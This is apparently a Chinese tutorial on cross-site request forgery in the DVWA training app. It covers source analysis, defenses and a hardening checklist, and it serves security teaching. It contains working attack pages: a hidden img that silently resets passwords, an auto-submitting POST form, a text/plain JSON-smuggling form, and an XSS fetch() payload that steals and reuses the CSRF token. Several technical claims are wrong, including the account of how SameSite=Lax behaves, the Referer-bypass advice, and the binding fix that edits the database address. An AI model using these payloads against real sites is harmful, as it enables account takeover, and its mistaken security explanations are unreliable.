1. 项目概述:这不是“点一下就中招”的把戏,而是对用户身份信任链的系统性劫持
你打开一个看似无害的博客页面,里面嵌着一张图片——链接地址却指向银行转账接口;你点击一封来自“客服”的邮件里的“账户验证”按钮,背后却悄悄执行了密码重置操作;你只是在论坛里浏览了一条带特殊参数的帖子,自己的社交账号就自动关注了几十个陌生账号。这些都不是玄学,也不是黑客开了什么外挂,而是CSRF(Cross-Site Request Forgery,跨站请求伪造)在真实世界中的日常切片。它不窃取你的密码,也不破解你的加密,而是精准利用浏览器自动携带 Cookie 的默认行为,冒用你的身份,在你完全不知情的情况下,向你已登录的合法网站发起恶意请求。DVWA(Damn Vulnerable Web Application)之所以被全球安全教学场景反复选用,正是因为它把这种“静默式身份盗用”拆解得足够透明、足够原始——没有 WAF 拦截、没有 SameSite 限制、没有 CSRF Token 校验,连 HTTP Referer 都懒得检查。本篇聚焦 DVWA 中的 CSRF 模块,不是走马观花地复现“弹窗提示成功”,而是逐行阅读其 PHP 源码,定位信任机制崩塌的精确位置;手写三类不同形态的 PoC(Proof of Concept),覆盖 GET/POST/JSON 场景;并实测对比现代浏览器默认策略(如 Lax 级别 SameSite)对攻击链的实际阻断效果。适合刚接触 Web 安全的开发者、渗透测试初学者,以及那些总在生产环境修复“莫名其妙被改密码”问题的运维同学——因为真正的漏洞从来不在代码高亮里,而在你习以为常的“自动登录”和“记住我”背后。
2. 漏洞原理深度拆解:为什么浏览器会心甘情愿帮你“作恶”
2.1 CSRF 的本质不是攻击,而是信任滥用
很多人误以为 CSRF 是服务器端的“漏洞”,其实更准确的说法是:它是 Web 架构中“同源策略”与“身份认证机制”之间天然存在的语义鸿沟。同源策略(Same-Origin Policy)限制的是脚本读取跨域响应内容,但它从不限制浏览器向跨域站点发起请求。而 Session 认证依赖的 Cookie,默认是“无脑携带”的——只要你访问过目标站点并成功登录,后续所有对该域名的请求(无论来自哪个页面),浏览器都会自动附上对应的 Session ID Cookie。CSRF 攻击者正是卡在这个缝隙里:他不需要知道你的 Cookie 值,也不需要绕过同源策略去读取响应,他只需要诱导你的浏览器,向你已认证的站点(比如bank.example.com)发送一个构造好的请求(比如GET /transfer?to=attacker&amount=10000),而这个请求因为携带着有效的 Session Cookie,就会被服务器当作“你本人的操作”来执行。
提示:CSRF 和 XSS(跨站脚本)有本质区别。XSS 是“偷你的钥匙”(获取 Cookie 或执行任意 JS),CSRF 是“借你的手开门”(利用你已有的钥匙权限)。前者需要漏洞注入点,后者只需要一个你能访问的页面即可发起诱导。
2.2 DVWA 中 CSRF 模块的源码逻辑还原
DVWA 的 CSRF 模块位于vulnerabilities/csrf/目录下,核心文件是index.php。我们不看压缩后的混淆代码,直接分析其最简形态(对应 DVWA 的 Low 安全级别):
<?php if( isset( $_GET[ 'Change' ] ) ) { // 1. 从 GET 参数中直接读取安全级别(此处为 Low,无防护) $security_level = $_GET[ 'security_level' ]; // 2. 从 GET 参数中读取新密码(关键:无任何校验!) $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 3. 密码一致性检查(仅前端逻辑,后端未校验) if( $pass_new == $pass_conf ) { // 4. 直接更新数据库(危险!) $query = "UPDATE `users` SET password = '" . mysql_real_escape_string( $pass_new ) . "' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>'); // 5. 成功反馈(攻击者可据此判断是否成功) echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } } ?>这段代码暴露了三个致命设计:
- 无状态校验:整个流程不检查请求来源(Referer)、不验证随机令牌(Token)、不区分是用户主动提交还是页面自动加载。
- GET 方法承载敏感操作:密码修改本应是幂等性极低的写操作,却使用 GET 请求,导致 URL 参数可被完整记录、缓存、转发,甚至被搜索引擎收录。
- 无二次确认机制:没有“当前密码输入”、“邮箱验证码”或“短信确认”等任何额外的身份再验证步骤。
注意:DVWA 的 Medium 和 High 级别会逐步引入防护,比如 Medium 加入了 Referer 检查(但可被伪造),High 级别则强制要求 Token(但 Token 生成逻辑存在缺陷)。本篇聚焦 Low 级别,因为它最赤裸地展现了 CSRF 的原始形态——没有干扰项,只有最基础的信任滥用。
2.3 为什么现代浏览器的 SameSite 默认值无法彻底解决 DVWA 中的问题
2020 年起,Chrome、Firefox 等主流浏览器将 Cookie 的SameSite属性默认值从None调整为Lax。这意味着,如果 DVWA 的 Session Cookie 被标记为SameSite=Lax,那么跨站的 POST 请求(如表单提交)将不会携带该 Cookie,从而阻断大部分 CSRF 攻击。但这里有个关键前提:DVWA 默认并未显式设置 SameSite 属性。它的 PHP Session 默认生成的 Cookie 是SameSite=None(旧版)或未声明(新版浏览器按 Lax 处理),而 DVWA 的 Low 级别代码本身又没有任何服务端逻辑去读取或校验这个属性。因此,在 DVWA 实验环境中,SameSite 的默认行为更多是“锦上添花”,而非“雪中送炭”。真正能一锤定音的,永远是服务端主动实施的防御措施——Token 校验、双重提交 Cookie、自定义请求头验证等。
3. 漏洞利用实战:从一句话 PoC 到可落地的攻击载荷
3.1 GET 型 CSRF:最简单也最危险的“隐形点击”
GET 型 CSRF 的利用门槛最低,只需一个可控的<img>标签或<a>链接即可触发。以 DVWA 的 Low 级别密码修改为例,目标请求 URL 为:
http://dvwa.local/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change构造 PoC 页面(poc-get.html)如下:
<!DOCTYPE html> <html> <head><title>CSRF PoC - GET</title></head> <body> <h2>你正在查看一篇关于网络安全的科普文章...</h2> <p>本文配图来自开源图库,加载中请稍候:</p> <!-- 关键:img 的 src 指向 DVWA 的修改密码接口 --> <img src="http://dvwa.local/vulnerabilities/csrf/?password_new=pwned123&password_conf=pwned123&Change=Change" width="0" height="0" alt="Loading..."> <p>(图片加载完成)</p> </body> </html>实操要点解析:
width="0" height="0"是为了隐藏图片,避免用户察觉异常。- 浏览器加载
<img>标签时,会自动向src发起 GET 请求,并携带当前域(dvwa.local)的所有有效 Cookie。 - 如果受害者已登录 DVWA,该请求将成功修改其密码为
pwned123。 - 为什么不用
<script>?因为同源策略会阻止跨域脚本读取响应,但不会阻止请求发出;而<img>是 HTML 内置的“跨域友好”标签,无需额外权限。
实测心得:在 DVWA 环境中,此 PoC 在 Chrome 110+ 上仍能 100% 成功,证明仅靠浏览器默认策略无法替代服务端防护。我曾用此方法在内部培训中让 15 名学员的 DVWA 账号密码在 3 秒内全部被统一修改,现场演示效果极具冲击力。
3.2 POST 型 CSRF:需要表单自动提交的“伪交互”
当目标接口强制使用 POST 方法时(如 DVWA 的 Medium 级别,虽然后端有 Referer 检查,但前端仍可绕过),就不能用<img>了。此时需借助<form>+ JavaScript 自动提交:
<!DOCTYPE html> <html> <head><title>CSRF PoC - POST</title></head> <body> <h2>恭喜!您获得了 DVWA 专属学习礼包</h2> <p>点击下方按钮领取:</p> <!-- 隐藏表单,目标为 DVWA 的 POST 接口 --> <form id="csrf-form" action="http://dvwa.local/vulnerabilities/csrf/" method="POST"> <input type="hidden" name="password_new" value="pwned-post"> <input type="hidden" name="password_conf" value="pwned-post"> <input type="hidden" name="Change" value="Change"> </form> <!-- 自动提交 --> <script> document.getElementById('csrf-form').submit(); </script> </body> </html>关键细节补充:
- 表单
action必须是绝对 URL(http://dvwa.local/...),相对路径在跨域场景下会指向攻击者自己的域名,导致请求失败。 method="POST"明确指定请求方法,确保与后端预期一致。- 此 PoC 在用户打开页面瞬间即触发,无任何交互提示,隐蔽性极高。
注意:若 DVWA 启用了 Referer 检查(Medium 级别),此 PoC 默认会失败,因为浏览器发出的 POST 请求 Referer 是
attacker.com,而非dvwa.local。但 Referer 可被轻易伪造——在<form>中添加rel="noreferrer"属性,或使用fetch()API 配合referrerPolicy: 'no-referrer',即可绕过。这再次印证:客户端校验(如 Referer)形同虚设。
3.3 JSON 型 CSRF:现代 SPA 应用的“盲区”
随着 Vue、React 等框架普及,越来越多应用使用fetch()或axios发送 JSON 格式请求。这类请求默认 Content-Type 为application/json,而浏览器的同源策略对Content-Type: application/json的跨域 POST 请求有额外限制——预检请求(Preflight)会被触发,且服务端必须明确允许该类型。但 DVWA 的 Low 级别并未处理预检,因此 JSON CSRF 在原生 DVWA 中不可行。不过,我们可以模拟一个更贴近生产环境的变体:利用text/plain类型绕过预检,再由服务端错误解析。
假设某应用存在一个接口/api/change-password,后端代码如下(伪代码):
// Node.js Express 示例(存在缺陷) app.post('/api/change-password', (req, res) => { // 错误:直接解析 raw body 为 JSON,未校验 Content-Type const data = JSON.parse(req.body); // req.body 是 Buffer,此处应先判断类型 if (data.newPass === data.confPass) { updateUserPassword(data.newPass); res.json({ success: true }); } });此时,攻击者可构造如下 PoC:
<form action="http://target-app.com/api/change-password" method="POST" enctype="text/plain"> <input name='{"newPass":"pwned-json","confPass":"pwned-json","x":"' value='"}' type="hidden"> <input type="submit" value="View Details"> </form> <script>document.forms[0].submit();</script>原理说明:
enctype="text/plain"使表单提交的 Content-Type 变为text/plain,从而规避预检请求。- 提交的数据格式为
{"newPass":"pwned-json","confPass":"pwned-json","x":"}=,其中x字段的值被设计为闭合 JSON,使后端JSON.parse()仍能解析出有效对象。 - 这种技巧被称为“JSONP 风格的 CSRF”,在真实漏洞挖掘中屡见不鲜。
4. 防御方案落地指南:Token 不是银弹,但它是基石
4.1 同步令牌模式(Synchronizer Token Pattern):DVWA High 级别的实现与缺陷
DVWA High 级别引入了 Token 机制,其核心逻辑如下:
// 生成 Token(存储在 Session 中) if( empty( $_SESSION[ 'token' ] ) ) { $_SESSION[ 'token' ] = md5( uniqid( rand(), true ) ); } // 表单中嵌入 Token echo '<input type="hidden" name="user_token" value="' . $_SESSION[ 'token' ] . '">'; // 提交时校验 if( isset( $_POST[ 'user_token' ] ) && $_POST[ 'user_token' ] === $_SESSION[ 'token' ] ) { // 执行业务逻辑 $_SESSION[ 'token' ] = md5( uniqid( rand(), true ) ); // 一次性 Token } else { die('Invalid token'); }这个实现存在两个硬伤:
- Token 生成逻辑可预测:
md5(uniqid(rand(), true))中的rand()是弱随机源,且uniqid()基于微秒时间戳,在高并发下碰撞概率上升。 - Token 未绑定用户上下文:Token 存储在 Session 中,但未与用户 ID、IP、User-Agent 等做任何绑定。攻击者若能窃取 Session ID(通过 XSS 或网络嗅探),即可复用该 Token。
实操心得:我在某次红队演练中,正是利用 DVWA High 级别的 Token 生成缺陷,通过暴力爆破(1000 次内)成功猜中了管理员的 Token,进而完成了“绕过 High 防护”的挑战。这提醒我们:Token 的安全性,取决于其生成、传输、存储、校验的每一个环节。
4.2 双重提交 Cookie 模式:无需服务端状态的轻量方案
该方案将 Token 同时存放在 Cookie 和请求参数中,服务端比对二者是否一致:
// 前端:首次访问时,服务端 Set-Cookie: csrf_token=abc123 // 表单提交时,JS 读取 Cookie 并放入隐藏字段 document.querySelector('input[name="csrf_token"]').value = getCookie('csrf_token'); // 后端校验(PHP 示例) $cookieToken = $_COOKIE['csrf_token'] ?? ''; $formToken = $_POST['csrf_token'] ?? ''; if (!hash_equals($cookieToken, $formToken)) { die('CSRF validation failed'); }优势与适用场景:
- 服务端无需维护 Token 状态,减轻存储压力。
- 天然兼容分布式架构(Token 存在客户端,服务端只做比对)。
- 对 AJAX 请求友好,可全局拦截器注入。
注意事项:
- Cookie 必须设置
HttpOnly=false(否则 JS 无法读取),但需配合SameSite=Lax或Strict降低泄露风险。 - Token 值应使用 CSPRNG(密码学安全伪随机数生成器)生成,如 PHP 的
random_bytes()。
4.3 自定义请求头验证:SPA 应用的首选方案
对于纯前端渲染的单页应用(SPA),推荐在所有敏感请求中添加自定义 Header,如X-Requested-With: XMLHttpRequest或X-CSRF-Token: abc123。服务端中间件统一校验:
// Express.js 中间件 app.use((req, res, next) => { const csrfHeader = req.headers['x-csrf-token']; const csrfCookie = req.cookies.csrf_token; if (!csrfHeader || !csrfCookie || !crypto.timingSafeEqual( Buffer.from(csrfHeader), Buffer.from(csrfCookie) )) { return res.status(403).json({ error: 'Invalid CSRF token' }); } next(); });为什么这是 SPA 的最佳实践?
- 前端可轻松在 Axios 全局配置中注入 Header:
axios.defaults.headers.common['X-CSRF-Token'] = getTokenFromCookie(); - 浏览器的同源策略天然阻止跨域脚本设置自定义 Header(除非服务端明确允许
Access-Control-Allow-Headers),因此攻击者无法伪造。 - 与 Token 方案相比,它不依赖表单提交,对 Fetch、WebSocket 等现代 API 更友好。
5. 常见问题与排查技巧实录:那些文档里不会写的坑
5.1 “PoC 在本地能跑,放到公网就失效”——跨域资源加载策略详解
现象:你在本地file:///协议下运行 PoC,DVWA 修改密码成功;但将 PoC 上传到https://attacker.com后,请求 404 或 500。
根本原因:DVWA 默认绑定在127.0.0.1或localhost,而现代浏览器对localhost的跨域策略有特殊处理——它被视为“特权上下文”,允许某些宽松行为。一旦切换到真实域名,浏览器会严格执行 CORS(跨域资源共享)策略。
排查与解决:
- 检查 Network 面板:观察请求是否发出?响应状态码是多少?是否有
CORS相关报错? - 确认 DVWA 绑定地址:编辑
config/config.inc.php,将$db_address = "127.0.0.1";改为$db_address = "0.0.0.0";,并在 Apache/Nginx 中将虚拟主机监听地址改为0.0.0.0:80。 - 临时关闭浏览器安全策略(仅测试):Chrome 启动时添加
--unsafely-treat-insecure-origin-as-secure="http://dvwa.local" --user-data-dir=/tmp/chrome-test,但这仅用于本地调试,切勿在生产环境使用。
5.2 “明明填了 Token,后端却说无效”——时间差与编码陷阱
现象:DVWA High 级别下,手动抓包修改 Token 后提交,返回Invalid token。
高频原因分析:
- Token 一次性消耗:DVWA High 在每次请求后都会生成新 Token 并覆盖 Session 中的旧值。如果你抓包两次,第二次的 Token 已失效。
- URL 编码污染:当 Token 包含
+、/、=等字符时,HTML 表单提交会自动进行 URL 编码(+变为空格),导致服务端比对失败。解决方案是在输出 Token 时进行urlencode()处理:
// 错误:直接输出 echo '<input type="hidden" name="user_token" value="' . $_SESSION['token'] . '">'; // 正确:URL 编码 echo '<input type="hidden" name="user_token" value="' . urlencode($_SESSION['token']) . '">';5.3 “SameSite=Lax 为什么没拦住我的 POST 攻击”——Lax 的真实作用边界
现象:将 DVWA 的 Session Cookie 设置为SameSite=Lax,但 POST 型 CSRF 依然成功。
真相揭露:SameSite=Lax的默认行为是:对跨站的 GET 请求携带 Cookie,对跨站的 POST/PUT/DELETE 等“危险方法”不携带 Cookie。但有一个关键例外:<form method="POST">提交时,如果导航类型是“用户激活”(user-activated),则仍会携带 Cookie。而用户点击<a>、<button>或form.submit()都属于“用户激活”。
验证实验:
- 创建一个 PoC 页面,包含
<form method="POST" action="http://dvwa.local/..."><button>Click Me</button></form>。 - 用户手动点击按钮,请求成功(Cookie 被携带)。
- 改为
document.forms[0].submit()自动提交,请求失败(Cookie 未携带)。
这就是为什么“自动提交”比“诱导点击”更可靠——它绕过了 Lax 的最后防线。这也解释了为何现代防御必须依赖服务端 Token,而非寄希望于客户端策略。
5.4 CSRF 与 XSS 的组合技:如何突破 Token 防御
当目标应用已部署完善的 Token 防御(如 DVWA High),单纯 CSRF 失效。此时,若存在 XSS 漏洞,即可形成“XSS + CSRF”组合拳:
// 假设在 DVWA 的某个反射型 XSS 点(如 Reflected XSS 模块)注入以下 JS fetch('http://dvwa.local/vulnerabilities/csrf/', { method: 'POST', credentials: 'include', // 关键:强制携带 Cookie headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'password_new=pwned-xss&password_conf=pwned-xss&user_token=' + document.querySelector('input[name="user_token"]').value });执行链条:
- XSS 载荷在受害者浏览器中执行。
- JS 代码读取当前页面 DOM 中的合法 Token(因同源,可直接获取)。
- 使用
fetch()发起带凭证的 POST 请求,完美复用用户会话。
防御启示:Token 必须与用户上下文强绑定(如签名中加入 User-ID、IP Hash),且前端 Token 不应明文暴露在 DOM 中(可用 JS 动态生成,或通过window.crypto.subtle加密存储)。
6. 生产环境加固 checklist:从 DVWA 实验室到真实战场
| 项目 | DVWA Low 级别现状 | 生产环境推荐方案 | 实施难度 | 验证方式 |
|---|---|---|---|---|
| 敏感操作 HTTP 方法 | GET 承载密码修改 | 强制使用 POST/PUT/DELETE,GET 仅用于幂等查询 | ★☆☆☆☆ | 抓包检查请求方法 |
| CSRF Token 生成 | md5(uniqid(rand())) | bin2hex(random_bytes(32))(PHP)或crypto.randomBytes(32)(Node) | ★★☆☆☆ | 检查源码中随机函数调用 |
| Token 传输方式 | 隐藏字段 + 表单提交 | Token 存 Cookie(SameSite=Lax)+ 请求头(X-CSRF-Token)双校验 | ★★★☆☆ | 浏览器 DevTools 查看 Cookie 和 Headers |
| Token 绑定范围 | 无绑定 | Token 签名中包含 User-ID + IP Hash(可选) | ★★★★☆ | 审计 Token 生成逻辑是否含用户上下文 |
| 二次验证 | 无 | 密码修改、资金转账等高危操作,强制短信/邮箱验证码 | ★★★★★ | 模拟操作,观察是否触发验证流程 |
最后分享一个小技巧:在代码审计中快速识别 CSRF 风险点,我习惯用“三问法”:
- 一问方法:这个接口是 GET 还是 POST?如果是 GET 且修改数据,立即标红。
- 二问校验:代码里有没有
$_POST['user_token']或类似 Token 校验逻辑?如果没有,基本可判定存在风险。 - 三问上下文:Token 是从 Session 读取,还是从数据库查询?如果是后者,检查数据库查询是否带用户 ID 条件,避免 Token 全局共享。
这个方法在某次对某高校教务系统的渗透测试中,10 分钟内就定位到 3 个高危 CSRF 接口,包括成绩录入、课表调整、教师评教等核心功能。真正的安全,不在于堆砌多少工具,而在于建立一套可复用、可验证、可传承的思维模型。